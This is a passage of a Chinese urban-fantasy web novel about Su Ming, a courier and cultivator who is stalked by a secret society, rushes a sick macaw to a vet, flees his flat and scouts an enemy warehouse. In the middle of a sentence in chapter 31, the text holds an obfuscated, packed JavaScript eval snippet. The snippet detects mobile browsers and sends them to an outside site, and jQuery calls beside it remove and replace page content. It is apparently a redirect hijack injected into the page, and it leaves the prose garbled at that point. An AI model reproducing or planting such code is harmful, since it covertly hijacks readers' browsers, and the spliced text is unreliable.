城西,吴清风的“静心斋”茶楼。 吴清风早已在雅间等候,看到苏明进来,立刻起身相迎,目光在苏明身上停留一瞬,眼中闪过一丝讶异:“苏小友,几日不见,气色更胜往昔,修为似乎也精进了?” “吴师傅好眼力,略有寸进。”苏明谦虚道,将包着法印的锦盒放在桌上。 吴清风小心地打开锦盒,取出那方布满绿锈、暗红纹路狰狞的天师法印,仔细端详,眉头紧锁。 “果然是‘秽血封灵纹’,而且手法歹毒,污染甚深。”吴清风叹了口气,“这几日我查阅了不少古籍,请教了几位专攻古物净化和道家符箓的老友。常规的佛法超度、道法净化,恐怕都难以在短时间内见效,且容易伤及法印本身灵性。唯有一法,或可一试。” “什么方法?” “以‘地脉灵火’慢慢煅烧。”吴清风沉声道,“地脉灵火,乃地心至阳之火透过地脉薄弱处溢出所化,性烈而纯,可焚尽阴邪污秽,对这类血煞封禁有奇效。但需控制火候,徐徐图之,以温和的地脉灵火,慢慢炙烤法印,将‘秽血封灵纹’中的阴煞污血之力一点点蒸发、净化。这个过程会很漫长,至少需要数月,而且需要找到一处稳定、可控的地脉灵火源头。” 地脉灵火?苏明想起自己那块“地火精粹石”,就是地脉火气汇聚而成。但这和真正的地脉灵火相比,恐怕是小巫见大巫。而且要去寻找并控制一处地脉灵火,绝非易事。 “吴师傅知道哪里有合适的地脉灵火吗?” “老朽年轻时,曾听一位云游的修士提及,在西南边陲的横断山脉深处,似乎有几处地火泄露点,但具体位置不详,且路途凶险,多有猛兽毒瘴,甚至可能遇到……不干净的东西。”吴清风摇头,“此法虽理论上可行,但实施起来,难如登天。老朽也只是提出一个方向。或者,我们还可以再寻访其他高人……” 西南横断山脉?苏明记在心里。那里地广人稀,多原始森林和险峻山峰,确实可能隐藏着各种奇异之地。如果有机会,或许可以去探一探。 “多谢吴师傅费心。此事不急,我们从长计议。”苏明说道。他知道,以自己目前的实力,贸然深入西南蛮荒之地,寻找地脉灵火,太过冒险。天师法印虽然重要,但还没到需要他立刻去拼命的地步。 两人又聊了一会儿关于赵老失踪案的后续(吴清风也听说了,唏嘘不已),以及近期古玩市场的一些异常动向。吴清风提到,似乎有几股暗流在悄悄搜集与“幽冥”、“祭祀”、“古老遗址”相关的物件,价格开得很高,但来历要求模糊,透着一股邪性。 苏明心中警惕,这很可能又是“影流会”或类似势力在活动。 离开“静心斋”,已是傍晚。华灯初上,城市再次被璀璨的灯光点亮。 苏明走在回家的路上,手机忽然收到一条陌生号码发来的短信,只有短短一行字: “小心,‘影流会’的‘判官’,在查你。黑水城的路,不好走。——阿九” 苏明脚步一顿,看着这条短信,眼神微凝。 “判官”在查自己?是因为接连破坏“盗影”小组的行动?还是因为天师法印? 而“阿九”再次出现,发来警告,是善意提醒,还是另有目的? 他抬头看向夜空,星辰稀疏,月色朦胧。 前方的路,果然不好走。 但既然已经踏上了,就只能披荆斩棘,继续前行。 他将短信删除,加快脚步,融入熙熙攘攘的人流。 夜色渐深,城市的某个角落,新的暗流,或许正在悄然涌动。 31. 快递员的日常 清晨六点,闹钟准时响起。苏明从深度冥想中缓缓醒来,感受着体内又凝实了一分的灵力,以及“初级细胞活化剂”调理后更加充盈的生机。他起身,简单洗漱,换上那套洗得有些发白的蓝色快递员制服,检查了一下背包里的工具和那三支剩下的活化剂,然后拿起头盔,推门而出。 日子又回到了某种“正常”的节奏。修炼、送快递、处理“特殊订单”,周而复始。但与一个月前相比,一切都已悄然改变。账户里的数字让他暂时不用为生计发愁,修为的提升让他精力充沛,应对普通快递工作游刃有余。但“阿九”的警告,像一根无形的刺,让他始终保持着三分警惕。 “影流会”的“判官”在查他。这意味着对方已经注意到了他这个屡次坏事的“快递员”。接下来的日子,必须更加小心。 今天的订单不多,大多是些文件、小包裹。苏明骑着电瓶车穿梭在渐渐苏醒的城市街道,阳光穿过高楼间隙,洒在柏油路上,空气里有早餐摊的香气和汽车尾气的味道。他喜欢这种平凡而真实的人间烟火气,这让他感觉自己还踩在地面上,而不是完全飘在那些光怪陆离的修真暗涌之上。 上午十点,他接到一个送往老城区的订单。收件地址是一个很老的小区,没有电梯,需要爬六楼。包裹不大,是个鞋盒大小的纸箱,有些分量,发货人信息模糊,只写了“工艺品”。 苏明抱着箱子上楼,老旧的楼梯间光线昏暗,弥漫着陈年的油烟和潮湿气味。刚到五楼拐角,一股极其微弱、但异常清晰的阴冷感,突然从手中的纸箱里传来,让他手臂的汗毛瞬间竖起。 不是普通阴冷,是那种……带着淡淡腐朽气息,仿佛来自墓穴的寒意。他瞬间停住脚步,低头看向纸箱。在“灵目术”的视野下,纸箱本身平平无奇,但内部,隐约有一团极其暗淡、不断扭曲的灰黑色能量轮廓,散发出令人不适的气息。 箱子里的“工艺品”,有问题! 他立刻将纸箱轻轻放在楼梯转角,退后一步,同时运转“敛息术”,屏住呼吸,将全部感知集中在纸箱和周围。 没有声音,没有动静。但那股阴冷感并未消散,反而像是有生命般,在纸箱内微微蠕动。 苏明皱起眉头。这单子看起来是平台随机派的普通件,发货人信息模糊,收件地址是老小区,里面却装着这种明显不寻常的东西。是巧合,还是……有意为之? 他想到了“阿九”的警告。“判官”在查他,会不会用这种方式试探,或者下套? 他拿出手机,想联系发货人核实。发货人电话是个空号。平台上的发货地址也查无此地。 有问题,而且问题很大。 苏明没有立刻去敲门送货。他转身下楼,回到电瓶车旁,从背包里拿出几张新画的、效果还不稳定的“清心符”,贴在了纸箱的几个面上,又用“涤尘术”凝聚的净化水汽,在纸箱表面过了一遍。那股阴冷感似乎被压制了一些,但没有消失。 他想了想,拿起手机,对着纸箱拍了几张照片,又录了段视频,记录下异常的能量波动(普通人看不见,但视频能记录下他施加灵力时的微弱光晕),然后拨通了平台客服的举报电话。 “您好,迅风速递,工号7341。我这边遇到一个疑似违禁品的包裹,发货人信息虚假,内件散发异常气味和能量波动,请求安全部门介入处理。”苏明语气平静地陈述。 客服显然有些意外,确认了几遍信息,表示会上报并尽快派人处理,让苏明在原地等待,不要擅自打开或处理包裹。 苏明将纸箱放在车后座一个显眼但不易触碰的位置,自己则走到对面街角的早餐店,要了碗豆浆两根油条,一边吃,一边看似随意地观察着那个楼梯口和老小区周围。 大约二十分钟后,一辆没有任何标识的黑色商务车和一辆警车几乎同时抵达。车上下来几个穿着便衣、但气质精悍的男人,以及两名警察。他们和苏明简单交谈,检查了订单信息和那个纸箱。便衣中一个领头模样的中年男人,在接触到纸箱的瞬间,脸色就凝重起来,他示意其他人后退,自己戴上一双特制的手套,小心地将纸箱搬上了商务车。 “苏师傅,感谢你的警觉。这东西我们带回去处理。你的举报信息已经记录,平台会给予相应奖励和信用加分。”中年男人对苏明说道,语气带着公事公办的严肃,但眼神深处似乎有一丝探究。 苏明点头,没有多问。他认出这几个人身上有种和李寰宇手下那些人相似的气质,但又有些不同,更偏向官方。看来,这个看似普通的同城速递平台,水也很深,背后恐怕也有“有关部门”的影子。 “应该的。那我继续送件了。”苏明骑上车离开。他能感觉到,那个中年男人的目光在他背上停留了几秒。 这个小插曲并未打乱苏明的节奏。他继续完成剩下的订单,直到下午三点,才将今天的任务全部清空。 回到出租屋,他先检查了一下聚灵阵和星髓的状态,然后打开电脑,登录那个加密的查询系统。他想看看有没有关于“判官”或者近期异常包裹事件的新信息。 系统里有一条加密简报更新,是昨晚发布的:“注意,近期有不明势力利用物流渠道,投放、测试或传递带有‘阴性能量标记’的物品。标记微弱,目标不明,疑似为某种大范围筛选或定位手段。各合作方提高警惕,发现异常及时上报。” 阴性能量标记?苏明立刻想到了上午那个纸箱里的灰黑色能量。难道那就是所谓的“标记”?是用来筛选什么?定位谁? 他想起之前“影流会”在自己身上下的“灵引符”。会不会是类似的东西,只是更隐蔽,用来大规模筛选有灵力反应或者特定体质的人? 如果真是这样,那“判官”查他的方式,可能比想象的更无孔不入,也更防不胜防。 苏明关掉电脑,盘坐在聚灵阵中,开始修炼。只有实力,才是应对一切未知和威胁的根本。 接下来的几天,风平浪静。苏明依然每天送快递,修炼,绘制符箓,研究《基础符箓详解》。他成功绘制出了几张可用的“匿踪符”(效果一般,但关键时刻能派上用场)和“清心符”,对“炎弹术”的控制也越发纯熟,已经能在移动中较准确地命中目标。 账户里的数字缓慢增长,修为稳步提升,符箓储备渐渐丰富。一切都朝着好的方向发展。 这天下午,苏明送完最后一单,正准备收工回家,手机响了。是吴清风打来的。 “苏小友,方便说话吗?”吴清风的声音听起来有些疲惫,但带着一丝兴奋。 “吴师傅请讲。” “你之前给我的那块金属牌,就是上面有鬼首图案那个,”吴清风压低声音,“我托一位专攻古代密文和宗教符号的老友看了,他认出了一些东西!” 苏明精神一振,立刻将车停在路边:“请说。” “那鬼首图案,确实是‘幽冥道’的一个分支标记,很古老。但更重要的是背面那几个扭曲的文字,那不是普通的文字,是一种极其古老的、用于祭祀和契约的‘鬼文’。我那老友连蒙带猜,大概翻译出几个词:‘信物’、‘低阶’、‘戊三七’、‘听召’。” “戊三七?像是个编号?” “很有可能!很可能就是这块牌子的持有者在‘幽冥道’某个外围组织中的编号或者代号!‘听召’,意味着持有此牌者,可能需要听从某种‘召唤’或者命令。” 编号?信物?听召?苏明摸着下巴。难道“影流会”或者“幽冥道”的外围成员,是用这种方式来识别身份和传递指令的?那“戊三七”是谁?是已经死掉的矮壮男人,还是另有其人? “另外,”吴清风继续说道,“我那位老友还说,这种带有编号的鬼首牌,通常成对或者成套出现,彼此之间可能有微弱的感应。如果一块被激活或者被毁,其他相关的牌子或许会有反应。当然,这只是他的推测,年代太久远,很多记载都断了。” 成对出现?彼此感应?苏明立刻想到了“影流会”严密的组织性。如果每个外围成员都有这样一个牌子,那“判官”或许能通过牌子来监控手下,甚至定位? “多谢吴师傅,这些信息非常有用。” “客气了。苏小友,你最近……一切小心。我总觉得,这城里不太平的气息,越来越浓了。”吴清风忧心忡忡地叮嘱了几句,便挂了电话。 苏明放下手机,看着远处城市天际线渐渐亮起的霓虹。鬼首牌,编号,感应……看来,从“影流会”身上,还能挖出更多东西。 就在他准备重新发动车子时,同城速递APP的特殊提示音,又响了。 订单类型:加急求助(宠物紧急送医) 取件地址:市中心“萌宠乐园”宠物店。 送达地址:城南“仁爱”宠物医院(总院)。 货物描述:一只突发急病的“紫蓝金刚鹦鹉”,已放入专用宠物航空箱,伴有吸氧设备。 备注:极其珍贵稀有鸟种,价值极高! 突发呼吸困难,疑似中毒或急症,需在30分钟内送达医院抢救!店主已联系医院做好急救准备。请务必最快速度,平稳驾驶!可闯红灯(已报备),全程开启双闪!运费:3000元。救命之恩,重谢! 紫蓝金刚鹦鹉?苏明知道这种鸟,体型巨大,羽毛华美,智商极高,是极其名贵的宠物,一只价值数十万甚至上百万。突发急病,确实耽搁不起。 而且,备注里“可闯红灯(已报备)”、“全程双闪”,说明事主能量不小,已经打点好了。这种单子,虽然紧急,但通常只是赶时间,不太涉及超自然因素。 苏明看了一眼时间,下午五点十分,正是晚高峰开始的时候。从市中心“萌宠乐园”到城南“仁爱”总院,不堵车都要二十分钟,晚高峰……三十分钟简直是挑战。 但他没有犹豫,点击“接单”。一来报酬不错,二来,救人(鸟)一命胜造七级浮屠,三来……他也想试试,在全力施展《踏云步》和交通特权的情况下,自己的极限速度能有多快。 他立刻调转车头,拧紧电门,电瓶车发出不满的嗡鸣,朝着市中心疾驰而去。同时,他拨通了宠物店老板的电话。 “您好,迅风快递,我已接单,五分钟后到!请准备好鸟和箱子,放在门口!” “太好了!师傅您快点!鸟儿快不行了!”电话那头是个带着哭腔的女声。 五分钟后,苏明一个漂亮的甩尾,精准地停在“萌宠乐园”门口。一个眼睛红肿的年轻女孩抱着一个特制的宠物航空箱冲了出来,箱子里躺着一只羽毛凌乱、体型硕大、但此刻紧闭双眼、胸脯微弱起伏的紫蓝色鹦鹉。箱子上连着一个小型便携氧气瓶。 “师傅,拜托您了!一定要快!”女孩将箱子小心放进苏明车后座加固的货架(用软垫和绑带固定),眼泪汪汪。 “放心,交给我。”苏明接过女孩递过来的医院地址和联系人电话,看了一眼,确认是“仁爱”总院的急诊科。 他不再废话,拧动电门,电瓶车如同离弦之箭般窜出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356239|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 晚高峰的车流已经开始汇聚。苏明将“踏云步”的身法融入到驾驶中,身体随着车辆轻微摆动,重心控制妙到毫巅,在缓慢蠕动的车流中,如同游鱼般灵活穿梭。他打开双闪,按照备注,遇到红灯,在确认安全的前提下,直接驶过。有交警看到,似乎接到了通知,并未阻拦,反而有时会帮忙疏导一下前方车辆。 风在耳边呼啸,两侧的车流和街景飞速倒退。苏明全神贯注,将灵力微微灌注到电瓶车电机和控制器(之前琢磨出的小技巧,能略微提升极速和响应),车速不断提升。 他感觉自己的心跳似乎与电机的嗡鸣、风的声音、城市的喧嚣,奇异地同步起来。一种畅快淋漓的感觉油然而生。这不是生死搏杀,也不是阴谋算计,只是一种简单的、与时间赛跑的挑战。 导航显示,原本需要二十五分钟以上的路程,在他极限驾驶下,只用了十八分钟!当“仁爱”宠物医院总院的标志出现在视线中时,时间才过去二十三分半! 苏明一个急刹,稳稳停在了急诊门口。早已等候在此的医护人员立刻冲上来,接过航空箱,快步冲向抢救室。那个年轻女孩也从后面一辆匆忙赶到的出租车上下来,对着苏明连连鞠躬道谢,塞给他一个厚厚的信封,然后也追进了医院。 苏明打开信封,里面是整整五千现金,比订单标注的三千还多了两千。他没客气,收好。看着急诊室亮起的红灯,他默默祈祷那只漂亮的鸟儿能挺过来。 他推着车,走到医院旁边的便利店,买了瓶水,靠在车边慢慢喝着。刚才的急速奔驰,让他微微有些出汗,但精神却很亢奋。 “不错的速度。对灵力的运用,也越发精妙了。”凌虚子的声音难得带上一丝赞许,“于凡俗疾行中体悟身法与灵机,亦是修行。” 苏明笑了笑,刚想说什么,目光无意中扫过医院停车场入口。一辆黑色的、没有牌照的越野车,缓缓驶入,停在了角落一个不起眼的位置。 车窗贴着深色的膜,看不清里面。但苏明在车子停稳的瞬间,感觉到了一丝极其隐晦、但绝不容错辨的灵力波动,从车内一闪而逝!虽然被刻意压制,但那波动中带着一丝熟悉的阴冷和混乱感,与上次“影流会”的人,以及上午那个诡异纸箱里的气息,有几分相似! 是“影流会”的人?还是那个“判官”派来盯梢的?他们来宠物医院干什么?是巧合,还是……冲着自己来的? 苏明心中一凛,立刻低下头,拧开水瓶,假装喝水,同时将“敛息术”和“龟息术”运转到极致,目光透过水瓶的反射,悄悄观察着那辆黑色越野车。 车子停在那里,没有动静。没有人下车。 几分钟后,急诊室的门开了,那个年轻女孩红着眼圈走了出来,脸上带着一丝如释重负。她对等在外面的苏明说道:“师傅,谢谢您!医生说送来得太及时了,再晚五分钟可能就……现在在吸氧和用药,已经稳定了,应该能救过来!” “那就好。”苏明松了口气,也为那只鸟儿高兴。 就在这时,那辆黑色越野车,突然发动了。它缓缓驶出停车位,没有朝医院外开,反而朝着苏明和女孩所在的这个便利店门口方向,缓缓驶来。 苏明全身肌肉瞬间绷紧,右手悄悄伸进了放着火煞符的口袋。 越野车在他们前方几米处停下。副驾驶的车窗,缓缓降下了一半。 一张戴着墨镜、面无表情的男人的脸,出现在车窗后。他的目光,似乎越过了女孩,直接落在了苏明身上。 空气仿佛凝固了几秒。 然后,那个墨镜男嘴角似乎极其轻微地勾了一下,露出一丝难以捉摸的弧度。他没有说话,升起了车窗。 黑色越野车重新启动,缓缓驶出了医院,汇入外面的车流,很快消失不见。 自始至终,没有任何交流,没有任何动作。但那短暂的凝视,和最后那个意味不明的表情,却让苏明心底泛起一股寒意。 那不是偶然。对方是冲着他来的。而且,似乎并不急于动手,更像是一种……警告,或者确认。 “仙尊,能感觉到刚才那人的修为吗?”苏明在心中急问。 “修为不高,约莫炼气三层上下,与你在伯仲之间。但其身上气息阴冷驳杂,修炼功法应非正途,且煞气颇重,杀孽不少。”凌虚子沉声道,“他刻意显露一丝气息,又迅速收敛,恐是故意为之。” 故意显露?是挑衅,还是示威?或者,是在确认他苏明的反应? 女孩似乎也感觉到了刚才气氛不对,有些不安地看向苏明:“师傅,刚才那车……” “没事,可能认错人了。”苏明摇摇头,露出一个宽慰的笑容,“鸟儿没事就好。我还有事,先走了。” 他骑上车,离开宠物医院。一路上,他保持着高度警惕,绕了几个圈子,确认没有尾巴,才回到出租屋。 关上门,苏明靠在门上,眉头紧锁。 “影流会”的人,或者说“判官”的人,已经这么明目张胆地出现在他面前了。虽然暂时没有动手,但这意味着,对方对他的关注,已经提升到了一个新的级别。平静的日子,恐怕要结束了。 他走到窗边,看着外面沉沉的夜色。城市依旧灯火辉煌,但在这片光芒之下,无形的网,似乎正在缓缓收紧。 “判官”……你到底想干什么? 苏明握紧了拳头,眼中闪过一丝锐利的光芒。 不管你想干什么,放马过来就是。 我,接着。 32. 夜袭 苏明靠在冰凉的防盗门上,耳朵里嗡嗡作响,像是刚跑完一场马拉松。刚才宠物医院门口那辆黑色越野车,还有车窗后那张戴着墨镜、面无表情的脸,像根针扎在他脑子里。 “修为不高,炼气三层上下,煞气重,杀孽不少。”凌虚子的判断在耳边回响。 苏明抹了把脸,手心有点潮。不是怕,是刚才一路绷得太紧,又绕了那么大圈子,背上汗还没干。他走到窗边,没开灯,撩开窗帘一角往下看。街对面那家兰州拉面馆的灯还亮着,老板娘正往外收桌子。一切正常。 正常得让他心里发毛。 对方找上门了。不是暗地里下绊子,是明晃晃地开车过来,摇下车窗,看了他一眼。那眼神他记得,像屠夫掂量案板上的肉,不着急下刀,但迟早要来一刀。 “仙尊,”苏明压低声音,像是怕隔墙有耳,“刚才那人,要是真动手,我有几成把握?” “若只他一人,你有七成胜算。你如今修为、术法、临敌经验,皆优于寻常炼气三层。然此人煞气凝而不散,必是惯于生死搏杀之辈,且恐有邪门手段傍身。若其有同伙,或携非常规器物,胜负难料。” 凌虚子顿了顿,声音更沉:“更棘手者,他既敢现身,必有后手。你之住处,恐已不安全。” 苏明心里一咯噔。他这出租屋是便宜,但位置偏,楼道没监控,房东常年不见人。以前觉得是缺点,现在看简直是筛子。 他转身,飞快地扫视这间不到二十平的小屋。床、桌、柜子、墙角那个用几块破玉和符纸摆的简化版聚灵阵。星髓在阵眼微微发光,像颗小心脏在跳。值钱的东西不多,但每样都不能丢。 尤其是星髓,还有天师法印,还有那三支没用的细胞活化剂,还有他攒下的符箓和那本《基础符箓详解》的电子版。 不能留这儿了。 苏明深吸一口气,强迫自己冷静。他走到桌边,拉开抽屉,拿出一个结实的双肩背包。先小心翼翼地把星髓用软布包好,塞进夹层。天师法印装进小檀木盒,用胶带缠紧,也放进去。细胞活化剂的冷藏箱太小,直接塞。符箓分门别类,用防水袋装好。手机、充电宝、现金、那张黑色权限卡,一股脑扫进侧袋。 最后,他看了一眼墙角那个简陋的聚灵阵。玉髓碎片不值钱,符纸能画,但阵盘是他一点点调出来的,扔了有点可惜。他咬咬牙,把几块玉髓和那几张还没完全失效的符纸抠下来,塞进包里。阵盘毁了痕迹,碎片扔进垃圾桶。 做完这些,不过十分钟。背包沉甸甸的,压得他肩膀一沉。他走到门后,耳朵贴上去听了听。楼道里静悄悄的,只有远处隐约的电视声。 不能从正门走。对方可能在楼下守着,或者就在哪个角落盯着。 苏明退回窗边。他住四楼,老式楼房,没电梯,窗外是另一栋楼的侧墙,距离不到两米,中间是狭窄的巷道,堆满各家各户的破烂。下面是二楼凸出的防盗网,再往下是一楼小卖部的塑料雨棚。 他推开窗户,夜风灌进来,带着城市特有的浑浊气味。他探头看了看下面,黑黢黢的,只有远处路灯漏过来一点光。 “踏云步”加“龟息术”,从这儿下去,问题不大。难的是不能惊动任何人,也不能留下明显痕迹。 苏明把背包背好,紧了紧带子,深吸一口气,单手撑住窗台,翻身而出。身体悬空的瞬间,他灵力灌注双腿,脚尖在窗台外侧轻轻一点,整个人如同狸猫般向对面墙壁窜去! 眼看要撞上,他腰身一拧,右脚在对面斑驳的砖墙上借力一蹬,身体划了个弧线,向下飘落。下落过程中,左手在二楼防盗网上缘一搭,消去大半冲力,然后松手,轻飘飘地落在下方塑料雨棚上,只发出“噗”的一声轻响。 雨棚晃了晃,没塌。苏明伏低身体,屏息等了十几秒。巷子里静悄悄的,只有老鼠在垃圾堆里窸窸窣窣。 他顺着雨棚边缘滑下,落地,悄无声息地闪进更深的阴影里。心脏在胸腔里咚咚直跳,不是累,是刺激。这感觉,比送快递赶时间闯红灯还带劲。 他没走大路,专挑背街小巷,七拐八绕,走了快半小时,才在一个二十四小时营业的便利店门口停下。他进去买了瓶水,一包面包,坐在靠窗的位置,一边慢慢啃,一边观察外面。 手机震动,是平台消息,提醒他有个夜间加急件,从城东物流园到机场,运费给到八百。苏明看了一眼,没接。他手指在屏幕上悬停片刻,点开了李寰宇给的那个内部权限卡的查询功能,输入关键词:“安全屋,临时,本市”。 屏幕上跳出一个列表,有地址、编号、使用权限要求和简要说明。苏明快速浏览,目光停在一个编号“S-07”的安全屋上。位置在城南一片老式居民区,独栋小二层,带小院,名义上是某公司外地员工宿舍,水电网络齐全,基础生活物资常备,可临时申请使用,需贡献点20点/天,或任务积分抵扣。 他看了眼自己的贡献点余额,之前攒的用了一些,还剩五十多点。一天二十点,用得起几天。 他点击申请,选择“临时避险,预计使用3天”,理由随便填了个“任务关联,需隐蔽观察”。申请发出,几乎是秒批。一个带地址、门锁密码和电子钥匙的加密信息发了过来。 苏明松了口气。有地方落脚了。他三口两口吃完面包,灌了半瓶水,背上包,走出便利店,拦了辆出租车。 “师傅,去城南,槐安里小区。” 出租车在夜色中穿行。苏明靠在后座,看着窗外飞速倒退的霓虹。城市像个巨大的机器,昼夜不息,大多数人在这机器里当螺丝钉,上班下班,吃饭睡觉,根本不知道水面下有多少暗流在涌动。 他知道。他还被卷进去了。 车子在槐安里小区门口停下。这里比他原来住的地方还要旧,房子多是七八十年代建的,没物业,路灯坏了好几盏。苏明按着地址找到那栋小二层,灰扑扑的外墙,木头门窗,院里一棵老槐树,枝叶繁茂,遮住了大半个院子。 他输入密码,老式的电子锁“咔哒”一声开了。推门进去,一股淡淡的灰尘味。他摸索着打开灯,是那种老式的白炽灯泡,光线昏黄。 一楼是客厅、厨房和卫生间,家具简单,但干净。二楼两个房间,都有床铺被褥,虽然旧,但没霉味。窗户都拉着厚重的窗帘。 苏明检查了一遍门窗,又在一楼客厅的旧茶几下面,发现了一个隐藏的小型保险柜。他用电子钥匙打开,里面空空如也,但空间足够放下他的背包。 他把星髓、法印、活化剂这些最重要的东西放进去,锁好。背包里只留了必要的符箓、现金、手机和几件换洗衣服。 做完这些,他才觉得一直绷着的弦稍稍松了点。他倒在客厅那张旧沙发上,长长出了口气。沙发弹簧发出不堪重负的呻吟。 今天太他妈刺激了。从救鸟飙车,到被盯梢,再到连夜跑路。他闭上眼,脑子里走马灯似的过画面。那只紫蓝金刚鹦鹉胸脯微弱的起伏,墨镜男车窗后冰冷的注视,自己从四楼翻窗而下的失重感…… 手机又震了。苏明拿起来一看,是吴清风。 “苏小友,睡了没?”吴清风的声音听起来有些不安。 “还没,吴师傅,这么晚有事?” “我刚得到个消息,心里不踏实,觉得得跟你说一声。”吴清风压低了声音,“我有个在旧货市场摆摊的老朋友,傍晚收摊时,有两个生面孔在他摊子前转悠,问东问西,最后拐弯抹角地打听,最近有没有人出手过‘带道家气息的老铜印’,或者‘年轻、跑得快、手脚利索的快递员’。” 苏明握着手机的手指收紧。 “我那朋友人老成精,觉得不对劲,就打了个哈哈糊弄过去了。但那两人,他形容说,一个高瘦,戴帽子,看不清脸;另一个矮壮,脖子上有纹身,眼神凶。不像好人。”吴清风顿了顿,“苏小友,你上次那方印……是不是惹什么麻烦了?” “可能吧。”苏明没否认,“谢谢吴师傅提醒,我会小心的。您也注意安全,最近少去市场,那两人如果真是冲我来的,可能会再找您打听。” “我省得。你千万当心,需要帮忙就说。” 挂了电话,苏明坐在黑暗里,一动不动。高瘦戴帽子,矮壮有纹身。会是下午越野车里的同伙吗?还是“判官”派出的另一组人? 他们在找他,用最笨也最有效的方法——在可能相关的圈子里打听。古玩市场,快递员……对方已经摸到他的边了。 不能待在这儿太久。这个安全屋只能暂避,对方既然能打听到古玩市场,迟早也能摸到李寰宇这边的安全屋网络。必须主动做点什么。 苏明打开手机,调出下午拍的那辆黑色越野车的模糊照片。车牌被泥糊了,但车尾那个“极地探险俱乐部”的不干胶贴纸,勉强能看清。他记得“阿九”提过这个线索。 他登录权限卡系统,尝试查询“极地探险俱乐部”。系统弹出一条简短信息:“极地探险俱乐部,注册于三年前,法人代表张伟,表面组织户外探险活动,疑似为某些灰色交易提供掩护和洗钱渠道。与多起跨境走私、非法狩猎、盗掘古文化遗址案件有间接关联。目前处于停业整顿状态。实际控制人不明。” 停业整顿,但车还在跑。而且开车的可能是“影流会”的人。 苏明沉吟片刻,用权限卡申请了一次“定向情报查询”,关键词:“极地探险俱乐部,车辆,黑色越野,近期活动轨迹,关联人员‘判官’或‘影流会’”。消耗了10个贡献点。 申请提交,系统提示预计2-12小时反馈。他把手机调成静音,放在一边,然后从包里拿出那本《基础符箓详解》的打印稿,就着昏黄的灯光,翻到“金光护身符”强化绘制法那一页。 光跑没用,躲也没用。对方像嗅到血味的鬣狗,不叼块肉不会罢休。他得让自己更有力,咬得更狠。 苏明摊开黄表纸,研磨朱砂,调和灵力。笔尖落下,全神贯注。一笔一划,灵力随之流转,在纸上构建出坚固的守护之意。失败了两张,第三张成符时,符纸上金光隐现,比之前绘制的明显强了一截。 他放下笔,揉了揉发酸的手腕。窗外传来远处火车的汽笛声,悠长,孤独。 这一夜,城南老旧小区的这栋小二层里,灯光亮到很晚。 第二天上午,苏明被手机震动吵醒。不是闹钟,是情报查询的反馈来了。 效率很高。信息不长,但很有用: “经交叉比对交通监控及线人信息,目标车辆(黑色无牌越野,车尾有‘极地探险俱乐部’贴纸)近期频繁出没于城北‘物流园’区域,尤其集中在‘鑫发货运’仓库附近。该仓库注册人王鑫,有走私前科,名下有多辆改装车辆,疑似为‘极地探险俱乐部’提供车辆维护及藏匿点。昨夜23时许,目标车辆返回该仓库,未再驶出。关联分析显示,该仓库可能为‘判官’下属某一行动小组的临时据点或物资中转点。风险提示:该区域人员复杂,可能持有武器,谨慎接近。” 城北物流园,鑫发货运仓库。 苏明看着屏幕上的地址,眼神冷了下来。 找到窝了。 他没急着动。上午,他先出门,在附近转了转,熟悉环境,顺便买了些吃的和日用品。回到安全屋,他继续绘制符箓,又成了两张“金光护身符”,一张“神行符”。炎弹术也反复练习,力求瞬发、精准。 下午,他换了身深色、不起眼的运动服,把必要的东西装进一个轻便的腰包。星髓和法印留在保险柜,只带了符箓、手机、一点现金和那把得自“鼹鼠”的古怪仪器箱——他研究过,这东西能探测能量波动,或许有用。 傍晚时分,苏明离开安全屋,叫了辆车,目的地是城北物流园附近的一个大型建材市场。他在市场门口下车,步行朝着物流园方向走去。 越靠近物流园,环境越杂乱。巨大的仓库厂房像灰色的巨兽匍匐在地,货车进进出出,扬起漫天灰尘。空气里是柴油、铁锈和尘土的味道。 苏明压低帽檐,混在来往的工人和司机中,慢慢靠近“鑫发货运”所在的区域。那是一个相对独立的角落,几个大仓库连在一起,围墙很高,门口有简易的岗亭,但没看到人。一辆脏兮兮的厢式货车停在门口,挡住了部分视线。 苏明没有直接靠近。他绕到侧面,找了栋废弃的矮楼,爬到二楼,这里能看到“鑫发货运”大院内的部分情况。 院子里堆着不少货物和集装箱,几个工人模样的人在装卸。靠里的一排平房,窗户拉着帘子。那辆黑色越野车,就停在一个半开的车库门口,车上泥泞还在,很显眼。 苏明拿出那个仪器箱,打开,调成能量探测模式,对准仓库方向。屏幕上波纹跳动,显示出几处微弱的能量反应,集中在平房和车库位置。其中两处反应,带着熟悉的阴冷煞气,和昨天下午感受到的如出一辙。 人在里面。至少两个有修为的。 苏明观察了半个小时。院子里的人进进出出,没什么异常。平房里偶尔有人影晃动。车库门一直半开着,看不清里面具体情况。 他在等,等天黑,等一个更好的时机。 夜幕终于降临。物流园里灯光陆续亮起,但“鑫发货运”这边,只有门口和院子里几盏昏暗的路灯,平房窗户透出灯光,车库一片漆黑。 院子里装卸的工人少了,最后一个人锁上仓库大门,骑着小电驴离开了。门口岗亭一直没人,似乎这里的安保很松散,或者说,有恃无恐。 晚九点左右,平房的门开了。两个人走出来,站在门口抽烟。一个高瘦,穿着夹克,没戴帽子,看不清脸。另一个矮壮,穿着背心,露出的胳膊上果然有青黑色的纹身,在昏暗灯光下像盘踞的毒蛇。 就是吴清风说的那两人!也是昨天下午可能开越野车的人! 两人抽着烟,低声交谈,不时看向车库方向。高瘦男人似乎说了句什么,矮壮男人点点头,扔掉烟头,用脚碾灭,然后转身走向车库。 机会! 苏明眼神一凝。矮壮男人单独进车库,高瘦男人留在门口。如果车库里有其他人,矮壮男人进去可能会聚集。但如果只有他们两个修士,现在就是逐个击破的最好时机! 他不再犹豫,从矮楼滑下,落地无声。借着堆放的货物和阴影掩护,如同一道幽灵,快速接近“鑫发货运”的围墙。 在离围墙还有十几米时,他停下,从腰包摸出一张“匿踪符”,激发,贴在身上。灵力流转,他周身光线微微扭曲,存在感瞬间降低。虽然不能完全隐形,但在这种光线昏暗、杂物众多的环境,足够掩护他接近。 